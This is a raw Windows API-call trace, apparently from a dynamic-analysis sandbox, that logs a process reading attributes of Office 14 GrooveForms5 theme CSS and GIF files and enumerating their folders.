	[0052.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520328 | out: lpFileInformation=0x12520328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), fInfoLevelId=0x0, lpFileInformation=0x12520378 | out: lpFileInformation=0x12520378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03)) returned 1
	[0052.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), fInfoLevelId=0x0, lpFileInformation=0x125203c8 | out: lpFileInformation=0x125203c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x766)) returned 1
	[0052.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x12520418 | out: lpFileInformation=0x12520418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.148] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520558 | out: lpFileInformation=0x12520558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94)) returned 1
	[0052.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x125205a8 | out: lpFileInformation=0x125205a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1
	[0052.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x125205f8 | out: lpFileInformation=0x125205f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1
	[0052.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), fInfoLevelId=0x0, lpFileInformation=0x12520648 | out: lpFileInformation=0x12520648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e)) returned 1
	[0052.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), fInfoLevelId=0x0, lpFileInformation=0x12520698 | out: lpFileInformation=0x12520698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173)) returned 1
	[0052.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), fInfoLevelId=0x0, lpFileInformation=0x125206e8 | out: lpFileInformation=0x125206e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71e)) returned 1
	[0052.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x12520738 | out: lpFileInformation=0x12520738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.150] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520878 | out: lpFileInformation=0x12520878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8)) returned 1
	[0052.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x125208c8 | out: lpFileInformation=0x125208c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520918 | out: lpFileInformation=0x12520918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), fInfoLevelId=0x0, lpFileInformation=0x12520968 | out: lpFileInformation=0x12520968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea)) returned 1
	[0052.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), fInfoLevelId=0x0, lpFileInformation=0x125209b8 | out: lpFileInformation=0x125209b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x752)) returned 1
	[0052.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), fInfoLevelId=0x0, lpFileInformation=0x12520a08 | out: lpFileInformation=0x12520a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1
	[0052.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x12520a58 | out: lpFileInformation=0x12520a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.153] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520b48 | out: lpFileInformation=0x12520b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce)) returned 1
	[0052.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520b98 | out: lpFileInformation=0x12520b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b)) returned 1
	[0052.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), fInfoLevelId=0x0, lpFileInformation=0x12520be8 | out: lpFileInformation=0x12520be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77)) returned 1
	[0052.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), fInfoLevelId=0x0, lpFileInformation=0x12520c38 | out: lpFileInformation=0x12520c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x715)) returned 1
	[0052.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x12520c88 | out: lpFileInformation=0x12520c88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.156] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520dc8 | out: lpFileInformation=0x12520dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c)) returned 1
	[0052.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520e18 | out: lpFileInformation=0x12520e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1
	[0052.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520e68 | out: lpFileInformation=0x12520e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1
	[0052.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), fInfoLevelId=0x0, lpFileInformation=0x12520eb8 | out: lpFileInformation=0x12520eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1
	[0052.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), fInfoLevelId=0x0, lpFileInformation=0x12520f08 | out: lpFileInformation=0x12520f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74f)) returned 1
	[0052.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), fInfoLevelId=0x0, lpFileInformation=0x12520f58 | out: lpFileInformation=0x12520f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x705)) returned 1
	[0052.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520fa8 | out: lpFileInformation=0x12520fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366)) returned 1
	[0052.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x12520ff8 | out: lpFileInformation=0x12520ff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
